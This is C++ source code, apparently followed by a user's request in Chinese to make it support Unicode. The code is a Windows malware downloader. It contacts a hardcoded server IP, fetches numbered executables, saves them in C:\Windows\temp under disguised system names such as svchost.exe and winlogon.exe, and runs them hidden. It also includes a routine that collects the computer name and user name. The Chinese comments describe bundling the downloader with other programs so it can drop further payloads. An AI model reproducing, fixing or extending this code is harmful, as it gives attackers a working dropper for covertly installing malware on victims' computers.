CString strServerAddr = "http://107.175.91.177/";
CString strSaveFilePath = "C:\\Windows\\temp\\";

CString strSystemFileName[]= { "acu.exe","aitstatic.exe","appidcertstorecheck.exe","AuthHost.exe","bcdboot.exe","bootim.exe","ClipUp.exe","winlogon.exe","winload.exe","wimserv.exe","svchost.exe","takeown.exe","SyncHost.exe","smss.exe","QQProtect.exe","csrss.exe","sqlwriter.exe","WUDFHost.exe" };

// 第一个参数服务器上下载文件名,第二个参数保存在本地的文件名
void  downloadFile(CString fileName,CString saveFile)
{
	//HTTP GET 下载文件
	CInternetSession *pInetSession = new CInternetSession(AfxGetAppName(), 1, PRE_CONFIG_INTERNET_ACCESS);
	CHttpConnection	*pHttpConn = NULL;
	CHttpFile *pHttpFile = NULL;
	CString strUrl ="";
	DWORD dwServiceType;
	CString strServer, strObj, strUser, strPwd;
	INTERNET_PORT nPort;

	strUrl = strServerAddr + "//sysfile//"+fileName;

	if (!AfxParseURLEx(strUrl, dwServiceType, strServer, strObj, nPort, strUser, strPwd, ICU_NO_ENCODE))
	{
		//OutputDebugString(L"下载地址有误！...");
		return;
	}
	if (!pHttpConn)
	{
		pHttpConn = pInetSession->GetHttpConnection(strServer, INTERNET_INVALID_PORT_NUMBER, "ELIMINATOR77", "PANZER76");
	}
	int nVal = 6000;
	pInetSession->SetOption(INTERNET_OPTION_CONNECT_TIMEOUT, &nVal, sizeof(nVal));
	pHttpFile = pHttpConn->OpenRequest("GET", strObj);
	try
	{
		//OutputDebugString(_T("正在连接到网站..."));
		pHttpFile->SendRequest();
	}
	catch (CInternetException *pEx)
	{
	//	OutputDebugString("下载出错...");
		pEx->Delete();
		delete pHttpFile;
		return;
	}
	DWORD dwRet;
	pHttpFile->QueryInfoStatusCode(dwRet);
	if (dwRet != HTTP_STATUS_OK)
	{
		CString error;
		error.Format("出错了，错误码：%d", dwRet);
		OutputDebugString(error);
		return;
	}
	char szPath[100] = { 0 };
	GetCurrentDirectory(sizeof(szPath), szPath);
	CString HomePath;
	HomePath = szPath;
	int p1 = HomePath.ReverseFind('/');
	int p2 = HomePath.ReverseFind('\\');
		int pos = max(p1, p2);
	if (pos > 0)
	{
		HomePath = HomePath.Left(pos + 1);
	}
	CString filePath ="";
	filePath.Format(strSaveFilePath + "\\%s",saveFile);

	//filePath = "C:\\Users\\Administrator\\Desktop\\网易云测试\\base.txt";
	//TCHAR* pszFileName = _T("Open_File.dat");
	CFile tempFile;
	CFileException fe;
	//CFile tempFile(filePath, CFile::modeCreate|CFile::modeWrite);
	if (!tempFile.Open(filePath, CFile::modeCreate | CFile::modeWrite, &fe))
	{
		DWORD erno = GetLastError();
		CString error;
		TCHAR szErr[512] = { 0 };
		fe.GetErrorMessage(szErr, sizeof(szErr));
		error.Format("不能将下载文件存盘:%s", szErr);
		OutputDebugString(error);
		//return;
	}
	int numread = 0;
	char buf[512] = { 0 };
	while ((numread = pHttpFile->Read(buf, sizeof(buf) - 1)) > 0)
	{
		tempFile.Write(buf, numread);
	}
	tempFile.Close();
	pInetSession->Close();
	delete pInetSession;
	pHttpFile->Close();
	delete pHttpFile;


}


CString GetHttpFileData(CString strUrl)

{

	CInternetSession Session("Internet Explorer", 0);

	CHttpFile *pHttpFile = NULL;

	CString strData;

	CString strClip;


	pHttpFile = (CHttpFile*)Session.OpenURL(strUrl,1, INTERNET_FLAG_TRANSFER_ASCII | INTERNET_FLAG_RELOAD, NULL, 0);


	while (pHttpFile->ReadString(strClip))

	{

		strData += strClip;

	}


	return strData;

}


int GetRand(int nMax) {  //取随机数

	srand((unsigned int)time(NULL));
	int ret1 = rand() % nMax + 1;
	return ret1;
}



void GetPCNameAndUserName(CStringA &strPCName, CStringA &strUserName)
{
	const int MAX_BUFFER_LEN = 500;
	//char  szBuffer[MAX_BUFFER_LEN];
	DWORD dwNameLen;

	LPSTR szBuffer;
	szBuffer = (LPSTR)malloc(500);
	dwNameLen = MAX_BUFFER_LEN;
	if (!GetComputerNameA(szBuffer, &dwNameLen))
		printf("Error  %d\n", GetLastError());
	else {
		//	printf("计算机名为: %S\n", szBuffer);
		strPCName += szBuffer;
	}

	dwNameLen = MAX_BUFFER_LEN;
	if (!GetUserNameA(szBuffer, &dwNameLen))
		printf("Error  %d\n", GetLastError());
	else {
		//	printf("当前用户名为：%S\n", szBuffer);
		strUserName += szBuffer;
	}
	if (szBuffer)
		free(szBuffer);
}



void ThreadFunc(int integer)

{
	try
	{
		// 这个线程主要用作下载器的作用,用于下载程序并且执行。。
		// 捆绑则可以直接捆绑这两个程序，然后执行下载，并且执行。
		// 或者这个下载器也可以放服务器上，然后额外搞个程序，下载这个下载器，然后运行下载器
		// 下载器下载其他的程序并执行。。

		

	//	AfxMessageBox(strSystemFileName[1]);


		CString strdata = GetHttpFileData(strServerAddr+"/tttt.txt");
		//获取下载文件数量,服务器文件名直接按1.exe 2.exe 3.exe 编号

		int nCount = atoi(strdata.GetBuffer(255));

		int nFileIndex =GetRand(17 - nCount); //最大文件名数量 -要下载的文件数量=取最大的文件值

		CString strFileName = "";
	//	strFileName.Format("随机数值:%d  对应字符串:%s", nFileIndex, strSystemFileName[nFileIndex]);
	//	AfxMessageBox(strFileName);


		for (int n = 0; n < nCount; n++)	{
			strFileName.Format("%d.exe",n);

			downloadFile(strFileName, strSystemFileName[nFileIndex+n]);   //服务器上下载文件,然后随机生成文件名,保存在本地,并且执行
			Sleep(1000 * 3);
			WinExec(strSaveFilePath+ strSystemFileName[nFileIndex+n], SW_HIDE);
		}


	}
	catch (...)
	{

	}

}

将这段代码修改支持unicode